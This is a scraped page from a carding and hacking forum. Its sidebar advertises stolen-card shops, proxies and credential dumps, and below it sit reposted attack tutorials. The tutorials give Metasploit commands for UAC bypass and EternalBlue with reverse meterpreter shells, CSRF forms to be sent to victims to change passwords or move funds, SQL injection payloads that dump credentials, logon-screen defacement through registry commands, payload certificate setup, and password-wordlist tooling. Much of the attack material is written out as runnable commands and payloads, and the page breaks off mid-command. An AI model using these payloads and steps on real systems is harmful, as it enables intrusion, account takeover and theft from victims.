Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum

Welcome, Guest

You have to register before you can post on our site.

Search Forums

(Advanced Search)

Forum Statistics

» Members: 114,295
» Latest member: l0rdn17ar
» Forum threads: 13,082
» Forum posts: 20,983

Full Statistics

Latest Threads

STUFF CC – BEST CC SHOP

9 minutes ago

Last post by StuffCC

Vn5socks.net - Service Se...

3 hours ago

Last post by FireHeaven

Shopsocks5.com - Service ...

Yesterday, 12:42 PM

Last post by shopsocks5.com

Secretline.top @StarLinkC...

11-08-2026, 03:45 AM

Last post by Max097

Secretline.top @StarLinkC...

11-07-2026, 03:35 PM

Last post by Max097

Secretline.top @StarLinkC...

11-06-2026, 03:07 PM

Last post by Max097

[LUPIN ULP] 16.279.483 | ...

11-06-2026, 05:23 AM

Last post by ImLupin

Secretline.top @StarLinkC...

11-06-2026, 05:20 AM

Last post by Max097

Secretline.top @StarLinkC...

11-05-2026, 05:12 PM

Last post by Max097

⚡[350M] - UHQ ULP || URL:...

11-05-2026, 02:17 PM

Last post by eaglecloudofficial

[Guide] How to Bypass UAC Protection of Remote Windows 10 PC (Via FodHelper Registry

Posted by: NINZA - 05-02-2020, 11:56 AM - Forum: Carders Home - No Replies

Hello friends! Today we are going to share a new article related to how to bypass window 10 UAC once you have hacked the victim’s system. In Metasploit, a new module has been added to achieve admin access in window 10s.
Attacker: Kali Linux
Target: Windows 10
[Image: 1.png?w=687&ssl=1]
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC flag turned off. This module modifies a registry key, but cleans up the key once the payload has been invoked. The module does not require the architecture of the payload to match the OS. If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process.
use exploit/windows/local/bypassuac_fodhelper
msf exploit(bypassuac_fodhelper) >set session 1
msf exploit(bypassuac_fodhelper) >exploit
1
2
3
use exploit/windows/local/bypassuac_fodhelper
msf exploit(bypassuac_fodhelper) >set session 1
msf exploit(bypassuac_fodhelper) >exploit
Hence you can see another meterpreter session 2 opened which means we successfully exploited the target once again now let’s check user privilege.
meterpreter > getsystem
1
meterpreter > getsystem
Awesome!!!! We got admin privilege successfully.
[Image: 2.png?w=687&ssl=1]

Today we will see CSRF attack in a different scenario like transferring fund and password changing but before we see how cross-site request forgery works we need to understand of few concepts.
Tabbed browsing: Tabbed browsing is an attribute of the Web browsers which allow the users to view multiple websites on a single window instead of opening a new browser window. These extra web pages are represented by tabs at the top of the browser window.
Imagine that you are logged into the Facebook server and visit a malicious website in the same browser, although on a different tab. In absence of the same origin policy (SOP), an attacker can go through your profile and other sensitive information with the help of JavaScript. For example, read private messages, send a fake message, read your chats.
SOP: The same-origin policy is an important concept in the web application security model. Under the policy, a web browser permits scripts contained in a first web page to access data in a second web page, but only if both web pages have the same origin.
XHR: XML Http Request is an API in the form of an object whose methods transfer data between a web browser and a web server.

Update a web page without reloading the page
Request data from a server – after the page has loaded
Receive data from a server – after the page has loaded
Send data to a server – in the background

CSRF: Cross-site request forgery also known as single-click attack or session traversing, in which a malicious website will throw a request to a web application that the user is already authenticated against from a different website. This way an attacker can access functionality in a targeted web application via the victim’s already authenticated browser.
If the victim is an ordinary user, a successful CSRF attack can force the user to perform state-changing requests like transferring funds, changing their email address, and so forth. If the targeted end-user is the administrator account, this can compromise the entire web application.
In this article, we will test a web application against csrf vulnerability with the help of burpsuite POC
Source

[To see content please register here]

Let’s start!!
For this tutorial, I had used bWAPP the vulnerable web application and create a new user raaz with password 123 for login inside the web server.
[Image: 0.png?w=687&ssl=1]

Now set the security level low then from the list of given vulnerability choose your bug cross-site request forgery (change secret) and click on the hack.
[Image: 1.png?w=687&ssl=1]

If you have noticed the first image for creating a new user in that the user “raaz” has set his secret value as 123 now if the user raaz wish to change the secret value for his password he can change it from here.
Now let’s check out how we can test this functionality against CSRF attack and force raaz to change his secret value from the attacker’s desired value that is set a new secret value without his (user) knowledge.
Start the burp suite to capture the sent request between the browser and web application.
[Image: 2.png?w=687&ssl=1]

Form given screenshot you can see we have successfully captured the request inside burp suite nowhere once you have received intercepted data then go towards ACTION tab select engagement tools and at last choose Generate CSRF PoC.
[Image: 3.png?w=687&ssl=1]

CSRF PoC generator will automatically generate an HTML form page which you can see in given below screenshot, Click on copy HTML tag and open a text document to past the copied data.
[Image: 4.1.png?w=687&ssl=1]

Once you have pasted the html code now add your (attacker) secret value “1234” Moreover you need to add user name “raaz” for whom the secret value will get changed, now save the text document as csrf1.html and then use social engineering technique for sharing csrf1.html file to the targeted user.
[Image: 4.png?w=687&ssl=1]

When victim will open Csrf1.html file, here he will found a submit button now as he will click on submit button the secret value for target location will get changed without his (victim) knowledge.
[Image: 5.png?w=687&ssl=1]

Here you observe the result form given below screenshot. Hence in this way, CSRF attack changes the old secret value for password set by user “raaz”.
[Image: 6.png?w=687&ssl=1]

In the next scenario, we are going to test a CSRF attack while transfer amount from users accounts. You might be well aware from such scenario when phone operator let say Airtel transfer an amount (Rs 500) in order to recharge customer phone and user receive the message of the transaction and another example is related bank amount transfer from one user’s account to another user’s account.
In order to learn csrf attack in this situation again login in bWAPP then choose your next vulnerability cross-site request forgery (transfer Amount) and click on the hack.
[Image: 7.png?w=687&ssl=1]

In the given screenshot you can see user have only 1000 EUR in his account it means above this amount the transaction is not possible for both (user as well as for attacker). Further, it is showing the user’s account number to transfer an amount to be transferred.
The procedure for csrf attack is similar as above use burp suite to capture the sent request of the browser.
[Image: 8.png?w=687&ssl=1]

Again it will create html form automatically for intercepted data now click on copy html tag given at below to copy the generated html code for the form.
[Image: 11.png?w=687&ssl=1]

Open a text document to past the copied data, Once you have pasted the html code now add your (attacker) amount “100” to be transferred, now save the text document as csrf2.html and then use social engineering technique for sharing csrf2.html file to the targeted user.
[Image: 12.png?w=687&ssl=1]

When victim will open Csrf2.html file, here he will found a submit button now as he will click on submit button given amount will be transferred without his (victim) knowledge.
[Image: 13.png?w=687&ssl=1]

From the given screenshot result you see now the amount is left 900 EUR in user’s account which means 100 EUR has been deducted from his account. Hence again we saw the effect of CSRF attack while amount transaction from once accounts to another.
[Image: 14.png?w=687&ssl=1]

At last, we are going to learn the most impactful CRSF attack for changing the password of a user account without his knowledge. Again we will login into bwapp and choose the bug “cross-site request forgery (change password)” to test the csrf vulnerability.
[Image: a.png?w=687&ssl=1]

Here you can clearly saw two text field, one for new password another for confirm password again we will repeat the process using burp suite to catch the request of the browser.
[Image: b.png?w=687&ssl=1]

From is given screenshot you can see we have successfully captured the request inside burp suite nowhere once you have received intercepted data then go towards ACTION tab select engagement tools and at last choose Generate CSRF PoC.
[Image: d.png?w=687&ssl=1]

Once again it has generated the html code for changing the password, hence you can see burp suite itself generate related html form for destination website, and this is an advantage which saves attacker’s time for generating CSRF html form. Again click on copy html tab to copy the code.
[Image: e.png?w=687&ssl=1]

Open a text document to past the copied data, Once you have pasted the html code now add your (attacker)new password value and confirm password value, now save the text document as csrf3.html and then use social engineering technique for sharing csrf3.html file to the targeted user.
If you remember the old password was “123” for user “raaz” and from the screenshot you can perceive that now new password is raj.
[Image: f.png?w=687&ssl=1]

When victim will open Csrf3.html file, here he will found a submit button now as he will click on submit button the password will reset for his account without his (victim) knowledge.
[Image: g.png?w=687&ssl=1]

Hence you can verify it through given below image where it has clearly given the message that “password has been changed”
So today you have seen how we had made csrf attack on a web application server in a different scenario with help of burp suite POC
Try it yourself!!
[Image: h.png?w=687&ssl=1]

In our previous article we had performed Form Based SQL injection using sqlmap but today we are going to perform Form Based SQL injection in DHAKKAN manually. There are so many examples related to login form like Facebook login; Gmail login; other online accounts which may ask you to submit your information like username and password.
Let’s start!!
LESSON 11
This lesson is much similar to lesson 1,2,3,4 if you not familiar with these lessons then please go through it from

[To see content please register here]

. You will come to know how to perform SQL Injection manually step by step in order to retrieve the data from inside the database system.
Lesson 11 is regarding POST error based single quotes (‘) string so when you will explore this lab on the browser you will observe that it contains a text field for username and password to login inside web server. As we are not a true user so we don’t know the correct username and password but being hacker we always wish to get inside the database with help of SQL injection. Therefore first we will test whether the database is vulnerable to SQL injection or not.
Since lesson itself sound like an error based single quotes (‘) string, thus I had used single quotes (‘) to break the query inside the text field of username then click on submit.
Username: ’
From the given screenshot you can see we have got an error message (in blue color) which means the database is vulnerable to SQL injection.
[Image: 1.png?w=687&ssl=1]

So we when breaking the query we get an error message, now let me explain what this error message says.
The right syntax to use near ”” and password=” LIMIT 0,1’
[Image: 2.1.png?w=687&ssl=1]

Now we need to fix this query with help of # (hash) comment; so after adding single quotes (‘) add a hash function (#) to make it syntactically correct.
Username: ‘ #
From the screenshot, you can see it has shown login attempted failed though we have successfully fixed the blue color error message.
[Image: 2.png?w=687&ssl=1]

Now whatever statement you will insert in between ‘and # the query will execute successfully with certain result according to it. Now to find out the number of columns used in the backend query we’ll use order by clause
Username: ' order by 1 #
Username: ' order by 2 #
Username: ' order by 3 #
1
2
3
Username: ' order by 1 #
Username: ' order by 2 #
Username: ' order by 3 #
From the screenshot, you can see I received an error at the order by 3 which mean there are only two columns used in the backend query
[Image: 3.png?w=687&ssl=1]

Similarly, insert query for union select in between ‘and # to select both records.
Username:
' union select 1,2 #
1
' union select 1,2 #
From the screenshot, you can see it also shown successfully logged in, now retrieve data from inside it.
[Image: 4.png?w=687&ssl=1]

Next query will fetch database name, it is as similar as in lesson 1 and from the screenshot, you can read the database name “security”
Username:
' union select 1,database() #
1
' union select 1,database() #
[Image: 5.png?w=687&ssl=1]

Through the given below query, we will be able to fetch tables name present inside the database.
Username:
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
1
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
From the screenshot you can read the following table names:
T1: emails
T2: referers
T3: uagents
T4: users
[Image: 6.png?w=687&ssl=1]

Now we’ll try to find out column names of users table using the following query
Username: ‘
union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
1
union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
Their so many columns but we interested in username and password only.
[Image: 7.png?w=687&ssl=1]

At last, execute the following query to read all username and password inside the table users.
Username:
' union select group_concat(username),group_concat(password) from users #
1
' union select group_concat(username),group_concat(password) from users #
Hence you can see we have not only retrieve single user credential but entire users credential now use them for login.
This is all about single quotes string error based injection in lesson 11.
[Image: 8.png?w=687&ssl=1]

Lesson 12
In some scenario you will try to use single quotes string for test SQL vulnerability or will go extend in order to break the query even after knowing that database is vulnerable but you will be not able to get break the query and receive error message because might the developer had blacklist the single quotes (‘) at the backend query.
Lesson 12 is similar to previous lesson 11 but here you will face failure if you used single quotes for breaking the query since the chapter sound closed to post Error based double quotes string (“). Thus I had used double quotes (“) to break the query inside the text field of username then click on submit.
username: “
From the given screenshot you can see we have got the error message (in blue color) which means the database is vulnerable to SQL injection.
[Image: 9.png?w=687&ssl=1]

So we when breaking the query we get an error message, now let me explain what this error message says.
The right syntax to use near ‘”””) and password=(“”) LIMIT 0,1’
[Image: 10.1.png?w=687&ssl=1]

Now we need to fix this query with help of ) closing parenthesis and # (hash) comments; so after double quotes (“) add ) closing parenthesis hash function (#) to make it syntactically correct.
username: “) #
From the screenshot, you can see it has shown login attempted failed though we have successfully fixed the blue color error message.
[Image: 10.png?w=687&ssl=1]

Now whatever statement you will insert in between ‘) and # the query will execute successfully with certain result according to it. Now to find out the number of columns used in the backend query we’ll use order by clause
username: “) order by 3 #
From the screenshot, you can see I received an error at the order by 3 which means there are only two columns used in the backend query
[Image: 11.png?w=687&ssl=1]

Similarly, insert query for union select in between “)and # to select both records.
Username:
") union select 1,2 #
1
") union select 1,2 #
From the screenshot, you can see it also shown successfully logged in, let’s now retrieve data from inside it.
[Image: 12.png?w=687&ssl=1]

Next query will fetch database name, it is as similar as in lesson 1 and from the screenshot, you can read the database name “security”
Username:
") union select 1,database() #
1
") union select 1,database() #
[Image: 13.png?w=687&ssl=1]

Through the given below query, we will be able to fetch tables name present inside the database.
Username:
") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
1
") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
From the screenshot you can read the following table names:
T1: emails
T2: referers
T3: uagents
T4: users
[Image: 14.png?w=687&ssl=1]

Now we’ll try to find out column names of users table using the following query
Username:
") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
1
") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
Their so many columns but we interested in username and password only.
[Image: 15.png?w=687&ssl=1]

At last, execute the following query to read all username and password inside the table users.
Username:
") union select group_concat(username),group_concat(password) from users #
1
") union select group_concat(username),group_concat(password) from users #
Hence you can see we have not only retrieve single user credential but entire users credential now use them for login.
This is all about double quotes string error based injection in lesson 12.
[Image: 16.png?w=687&ssl=1]

Open command prompt and check windows user account status using “whoami” command.
[Image: 1.png?w=687&ssl=1]

Account name is “joe” and account status is ‘DefaultAccount’ which is a non-administrator account type.
Try changing administrator using the ’net user’ command. You will see an error ‘Access is denied’
[Image: 2.png?w=687&ssl=1]

Now download “CVE-2017-0213_x64” from

[To see content please register here]

and unzip in your PC. Go to the folder and you can find the .exe file, double click on it to run it.
[Image: 3.png?w=687&ssl=1]

The moment you double click on it, it will automatically open a new command prompt with administrator privileges.
[Image: 4.png?w=687&ssl=1]

Use ‘net user’ command to change the administrator account password. Message ‘The command completed successfully’ will appear. You have now successfully changed the administrator accounts password.
[Image: 5.png?w=687&ssl=1]

[Guide] How to Hack Legal Notice Caption of Remote PC

Posted by: NINZA - 05-02-2020, 11:49 AM - Forum: Carders Home - No Replies

Registry key plays an important role in operating system attacker makes use of legal notice registry key to send threatening message on the targeted system so that once the system is boot up the user can read the message that “your system has been hacked” which appears before the login screen.
Through this article, we are showing how an attacker sends threaten message on logon screen to the targeted users.
Let’s start
Attacker: Kali Linux
Target: window 7
Read our previous article how to hack windows 7 and get a meterpreter session of victims, inside meterpreter, there are so many options for post exploit now type the following command to move inside registry key of the victim’s system
reg enumkey -k HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System
1
reg enumkey -k HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System
From the screenshot, you can observe that it contains 2 keys (Audit, UIPI) having 18 different values. The highlighting box is our targeted value.

legalnoticecaption
legalnoticetext

Now type another command for assigning the value of legalnoticecaption which is used for providing the title or heading of the given message on logon screen.
reg setval -k HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System -v legalnoticecaption -d "IMPORTANT MESSAGE"
1
reg setval -k HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System -v legalnoticecaption -d "IMPORTANT MESSAGE"
From the screenshot you can read our registry key is successfully set.
[Image: 2.png?w=687&ssl=1]

Now type one more command for giving a warning message to the targeted system by assigning the value of legalnoticetext which will display your message on logon screen of victim’s system.
reg setval -k HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System -v legalnoticetext -d "PWNED BY RAJ CHANDEL"
1
reg setval -k HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System -v legalnoticetext -d "PWNED BY RAJ CHANDEL"
From the screenshot you can read again our registry key is successfully set.
Here –k denote key; -V denote value; -d denote input data.
[Image: 3.png?w=687&ssl=1]

Now when the victim will start his system after then he will receive our message on logon screen as shown in the given screenshot.
Try it yourself!!!
[Image: 4.png?w=687&ssl=1]

Hello everyone, today we’ll be learning how to setup Dhakkan lab (one of the best labs I have seen for practising and understanding SQL INJECTION) in our latest Ubuntu Machine.
A laboratory that offers a complete test environment for those interested in acquiring or improving SQL injection skills. Let’s start. First, we will download SQLI lab inside html directory by the following link-
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Once the download is done, we will move sqli labs into the /var/www/html directory and rename it to sqli. Then go inside the sqli directory where we will find /sqli-connections directory. Here we will run ls command to check the files and we can see that here is a file by the name of db-creds.inc
we need to make some changes in the config file by the following command-
cd Sqli_Edited_Version/
ls
mv sqlilabs/ ../sqli
cd sqli
cd sql-connections/
ls
nano db-creds.inc
1
2
3
4
5
6
7
cd Sqli_Edited_Version/
ls
mv sqlilabs/ ../sqli
cd sqli
cd sql-connections/
ls
nano db-creds.inc
[Image: 22.png?w=687]

As we can see that username is given root and password is left blank which we need to modify.
[Image: 23.png?w=687]

Now here we will set the username and password as raj:123 Now save the file and exit.
[Image: 24..png?w=687]

Now browse this web application from through this URL: localhost/sqli and click on Setup/reset Databases for labs.
[Image: 25.png?w=687]

Now the sqli lab is ready to use.
[Image: 26.png?w=687]

Now a page will open up in your browser which is an indication that we can access different kinds of Sqli challenges
[Image: 27.png?w=687]

Click on lesson 1 and start the Sqli challenge.
[Image: 28.png?w=687]

This module is a port of the Equation Group ETERNAL BLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memory operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with a mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original, may not trigger 100% of the time and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again.
Let’s start!!!
Attacker: Kali Linux
Target: Window 7
Open the terminal in your Kali Linux type msfconsole to load Metasploit framework.
msfconsole
1
msfconsole
[Image: 1.png?w=687&ssl=1]

Use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.8
msf exploit(ms17_010_eternalblue) >set 192.168.1.21
msf exploit(ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) >exploit
1
2
3
4
5
Use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.8
msf exploit(ms17_010_eternalblue) >set 192.168.1.21
msf exploit(ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) >exploit
From the screenshot, you can see we have got a meterpreter session after buffer overflow exploited by overwriting SMBV1 buffer.
meterpreter> sysinfo
1
meterpreter> sysinfo
[Image: 2.png?w=687&ssl=1]

Through this article, you can learn how an attacker would able to generate an SSL certificate for any exe or bat file payloads so that he might be able to establish a connection with the host through the meterpreter session.
The firewall spoof the network traffic and verifies trust certificates to establish connection itself as a trusted third party to the session between the client and the server. When the client begins with an SSL session with the server, the firewall captures the client SSL request and forwards the SSL request to the server. The server sends a certificate for the client that is captured by the firewall. If the server certificate is signed by a CA that the firewall trusts, the firewall generates a duplicate of the server certificate signed by the Forward Trust certificate and forward the certificate to the client to authenticate.
Meterpreter_Paranoid_Mode.sh allows users to secure your staged/stageless connection for Meterpreter by having it check the certificate of the handler it is connecting to.
Open the terminal in your Kali Linux and type following to download it.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Once it downloaded run the program file and follow the given below steps.
Press Enter to continue
[Image: 2.png?w=687&ssl=1]

A prompt will open in which you have to choose the option for building certificate from the given screenshot you can read I had chosen to impersonate domain.
[Image: 3.png?w=687&ssl=1]

We start by generating a certificate in PEM format, once the certs have been created we can create an HTTP or HTTPS or EXE payload for it and give it the path of PEM format certificate to be used to validate the connection.
After that again another prompt will open in which you would be asked to mention the domain name, here the SSL certificate will generate for

[To see content please register here]

To have the connection validated we need to tell the payload what certificate the handler will be used by setting the path to the PEM certificate in the HANDLERSSLCERT option then we enable the checking of this certificate by setting stagerverifysslcert to true.
PEM is a widely used encoding format for security certificates. Syntax and content are defined by X.509 v3 standards for digital certificates, defined in IETF RFC 5280 specifications. The main file extensions are .pem, .crt, .ca-bundle. A PEM certificate is a base64 (ASCII) encoded block of data encapsulated between.
In the next prompt choose payload category for auto-building payload, from the given list I chose stagless (payload.exe)
[Image: 5.png?w=687&ssl=1]

Once that payload is created we need to create a handler to receive the connection and again we use the PEM certificate so the handler can use the SHA1 hash for validation. Just like with the Payload we set the parameters HANDLERSSLCERT with the path to the PEM file and stagerverifysslcert to true.
We can see the stage doing the validation when we recite a session back.
Enter LHOST 192.168.0.108 (attacker’s IP)
[Image: 6.png?w=687&ssl=1]

Similarly given any random port for a reverse connection from the host system and click on ok.
Enter lport 8888
[Image: 7.png?w=687&ssl=1]

Again the list of payload will open from that prompt choose desire payload which will generate payload for the attack.
windows/meterpreter_reverse_https
[Image: 8.png?w=687&ssl=1]

This will configure all setting and start multi handler by lunching Metasploit framework
[Image: 9.png?w=687&ssl=1]

When you move inside output folder here you will get two files; first for exe payload another for .pem certificate. Now use your effort for sharing exe file with your victim and wait for session establishment through meterpreter.
[Image: 10.png?w=687&ssl=1]

On another hand you can compare .pem certificate from other original certificate signed by CA, if you will observe given below image you can read certification details for hackingarticles.in which as similar as CA-signed certificates.
[Image: 11.png?w=687&ssl=1]

Hence you can see I have successfully established the meterpreter session with the victim’s system.
Try it by yourself!!!
[Image: 12.png?w=687&ssl=1]

[Guide] 5 Ways to Create Dictionary for Bruteforcing

Posted by: NINZA - 05-02-2020, 11:48 AM - Forum: Carders Home - No Replies

We live in the digital era, and in the world of technology, everything is password protected. There are many ways to crack the password such as social engineering, try and error method, etc. but the three only two most successful methods of password cracking i.e. Dictionary attack and Brute force. Both of them has there perks and disadvantages. And in today’s article, we will focus on dictionary attack as it comes handy and is the best method to crack a password.
Table of Content

Dictionary attack
Crunch
Cewl
Cupp
Pydictor
Dymerge

Dictionary attack: Dictionary attack is an attempted entry in a digital system which uses a precompiled list of possible passwords rather entering them one at a time. Basically, it an evolved and advanced form of trial and error as it brings result fast and is efficient. I am sure that there are many ways for a dictionary attack but I am going to give you five best ones.
Crunch
The first is Crunch. The best thing about crunch is you can use it both offline and online. It generates wordlist according to your requirements. You can give the maximum and minimum length of the password and also provide it with a character-set which you want it to use while creating your dictionary. And then crunch will create your dictionary while keeping your requirements at its priority. Hence, a dictionary will be created with all the possible combinations.
Now let’s see how to use it. Observe its syntax first:
crunch <min> <max> <character-set> -t <pattern> -o <path>
crunch – crunch is the keyword which notifies the system to use this tool.
<min> – here you specify the minimum length characters you want.
<max> – here you specify the maximum length of characters.
<character-set> – here you specify the characters you want it to use while creating the dictionary.
-t <pattern>- this is optional but here you can specify the pattern in with you want your character-set to be.
-o <path> – here you give the path where you want your dictionary file to be saved.
For instance, open the terminal of kali and type:
crunch 3 4 ignite –o /root/Desktop/dict.txt
1
crunch 3 4 ignite –o /root/Desktop/dict.txt
Now the above command will create a dictionary with the possible combinations from the word ignite which will length from 3 to 4 characters. The file will be saved in text form on the Desktop. Similar is shown in the image below:
[Image: 1.png?w=687&ssl=1]

Let’s now read the dict.txt file and for that type:
cat dict.txt
1
cat dict.txt
All the words will be displayed in the following manner:
For more detail read the full article from here:

[To see content please register here]

Cewl
Next way is by using Cewl. Now Cewl works somewhat like John The Ripper and is written in ruby. When targeting people of the corporate sector or the business world; this is the tool for you. As you all know it is in the human psyche to use the words significant to them and which occur in their day to day life. Cewl works on the URL you provide it. It will take that URL and crawl its way to the depth of 2 links (by default, you can increase or decrease the depth too) and will search every word which has the possibility of being a password. With all these words it will generate a word list for you to use as your dictionary in a dictionary attack. Let’s observe it syntax:

cewl <url> -d<depth> -w<path>
Cewl – indicated the tool which is being used
<url> – here give the URL that you want to use as a foundation of your dictionary.
-d<depth> – here, give the number of links you want it to go through while creating your dictionary.
-w<path> – here, give the path where you want to store all the possible passwords.
For example in the terminal of kali type :

cewl

[To see content please register here]

-d 2 -w /root/Desktop/dict.txt
1
cewl

[To see content please register here]

-d 2 -w /root/Desktop/dict.txt
The above command will create a dictionary file using the word from the URL.

Let’s look the dictionary file it just created and for that type:
cat dict.txt
All the words will be displayed in the following manner:
For more detail read the full article from here:

[To see content please register here]

Cupp
Our next way is using a third party tool i.e. cup. Previous tools were pre-installed but you will have to install this one on your own. To install it please type:
git clone

[To see content please register here]

1
git clone

[To see content please register here]

CUPP is developed in python and makes very personalized tool when it comes to password cracking. Studies show that while setting up the password, humans show a similar pattern such as they tend to make password personalize by adding their date of birth, anniversary date, pet’s name, etc. and CUPP focuses on this weakness and helps to crack password effectively. Before creating a wordlist, it will ask you the required information about your target. And will create the wordlist as per the information. Now, let’s study how it works set-by-step. Initiate cupp first by typing:
./cupp.py -i
1
./cupp.py -i
Once initiated it will ask you the information about your target as shown in the image:
[Image: 6.png?w=687&ssl=1]

Give the required information and your wordlist will be generated as follows:
For more detail read the full article from here:

[To see content please register here]

Pydictor
Next up tool is Pydictor. This is a special tool as it is the only tool that creates the wordlist both in normal words and in base64 encryption. So if someone is smart enough to keep a safe password this tool will help you with it. Pydictor is written in python. There is two method to crack the password using this tool one creates a normal wordlist the other creates wordlist in base64 form. We will try both methods. But first things first, this is a third party tool so we will have to install it and for it please type :
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Once the tool is installed and ready to use, give it instructions on bases of what you want it to generate the wordlist using. Understand the syntax first:
./pydictor.py –len <min> <max> -base d –o <path>
1
./pydictor.py –len <min> <max> -base d –o <path>

./pydictor.py – initiates the tool
–len – indicates the length of characters
<min> – here, give the minimum length of characters
<max> – here, give a maximum length of characters
-o – indicates the path
<path> – here, give the path where you want your wordlist to be saved

Let’s give the command to generate the wordlist now:
./pydictor.py --len 5 5 --base d –o /root/Desktop/dict.txt
1
./pydictor.py --len 5 5 --base d –o /root/Desktop/dict.txt
[Image: 9.png?w=687&ssl=1]

Let’s read the file created to have a look at the words that it has generated. And for that type:
cat dict.txt/BASE_5_5_d_071743.txt
1
cat dict.txt/BASE_5_5_d_071743.txt
[Image: 10.png?w=687&ssl=1]

The other method using a similar tool gives us a password in base64 encoding. Let’s study the syntax first:
./pydictor.py –len <min> <max> -base d --encode <encoding type> –o <path>
1
./pydictor.py –len <min> <max> -base d --encode <encoding type> –o <path>

./pydictor.py – initiates the tool
–len – indicates the length of characters
<min> – here, give the minimum length of characters
<max> – here, give a maximum length of characters
–encode – indicated the type of encryption/encoding
<encoding type> – here, give the type of encoding you want
-o – indicates the path
<path> – here, give the path where you want your wordlist to be saved

Let’s give the command to generate wordlist:
./pydictor.py --len 5 5 -base d --encode b64 –o /root/Desktop/dict.txt
1
./pydictor.py --len 5 5 -base d --encode b64 –o /root/Desktop/dict.txt
[Image: 11.png?w=687&ssl=1]

The above command will generate wordlist in base64 let’s have a look at it:
cat dict.txt/BASE_5_5_d_070433.txt
1
cat dict.txt/BASE_5_5_d_070433.txt
For more detail read the full article from here:

[To see content please register here]

Dymerge
The last and next up tool is Dymerge. Dymerge is an interesting and powerful tool made in python. Basically what dymerge does is takes the previously made multiple dictionaries and merges them into a single one, so all the dictionaries can you use in one go while you sit back and relax. You can merge any number of dictionaries either default ones or custom made. This is again a third party tool so let’s install it first:
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Let’s understand its syntax:
python dymerge.py <path> <path> -s –o <path>

Python dymerge.py à initiates the tool
<path> – here, give the path of the first dictionary you want to merge
<path> – here, give the path of the second dictionary you want to merge
-o – indicates the path where the resulted wordlist will be saved
<path> – here, give the path where the final wordlist list will be saved

Now that we have understood the syntax let’s try the command:
python dymerge.py /root/Desktop/digit.txt /root/Desktop/words.txt –s –o /root/Desktop/dict.txt
1
python dymerge.py /root/Desktop/digit.txt /root/Desktop/words.txt –s –o /root/Desktop/dict.txt
Here, I have taken two wordlists (you can take more also), where one contains numbers and other contains alphabets and merges them into one so you can use multiple dictionaries at the same time.
[Image: 14.png?w=687&ssl=1]

Let’s have a look at the dictionary that it has created:
cat dict-1.txt
1
cat dict-1.txt
For more detail read the full article from here:

[To see content please register here]

These are the five powerful and efficient ways to password cracking. Enjoy and explore these fo0r both hacking and recovering passwords. Have fun!

Through this article, we are trying to elaborate the word Enumeration using Kali Linux tool UNISCAN.
Uniscan is a simple Remote File Include, Local File Include, and Remote Command Execution vulnerability scanner as well as work as enumerating tool in order to gather information like open ports and protocol related to target and investigate it against any vulnerability.
Let’s start!!!
Open the terminal and type following command using –j option for server fingerprints
uniscan -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -j
1
uniscan -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -j
[Image: 1.png?w=687&ssl=1]

It will start enumeration from PING by sending ICMP packets to the targeted server and establish the connection.
Further, it will use TRACEROUTE to show the path of a packet of information taken from source to destination and list all the routers it travels through or fails to and is discarded. In actually, it will inform you how long each ‘hop’ from the router to router takes.
[Image: 2.png?w=687&ssl=1]

NSLOOKUP is a program to query Internet domain name servers (DNS). NSLOOKUP or Reverse DNS (rDNS) is a method of resolving an IP address into a domain name
[Image: 3.png?w=687&ssl=1]

Uniscan made use of NMAP for aggressive scan against the targeted server to identify open ports and protocols services hence from the screenshot you can observe the result. It also enumerates the target using NMAP NSE script to identify the vulnerability and details of running services.
[Image: 4.png?w=687&ssl=1]

Now type the following command for dynamic scan against the targeted server using –d option.
uniscan -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -d
1
uniscan -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -d
Now it will load the selected plug-in for fetching more details related to the targeted server.
[Image: 5.png?w=687&ssl=1]

From given screenshot, you can observe the result where it came up with an email id moreover loaded further plug-in for scanning vulnerability like SQL injection, remote or local file inclusion and XSS.
[Image: 6.png?w=687&ssl=1]

From given below screenshot you can see it has used blind SQL injection and return a link of the targeted web pages. Similarly, it will test for XSS and remote or local file inclusion vulnerability.
[Image: 7.png?w=687&ssl=1]

Now type next command using –q option to enable directory test in targeted server
uniscan –u

[To see content please register here]

–q
1
uniscan –u

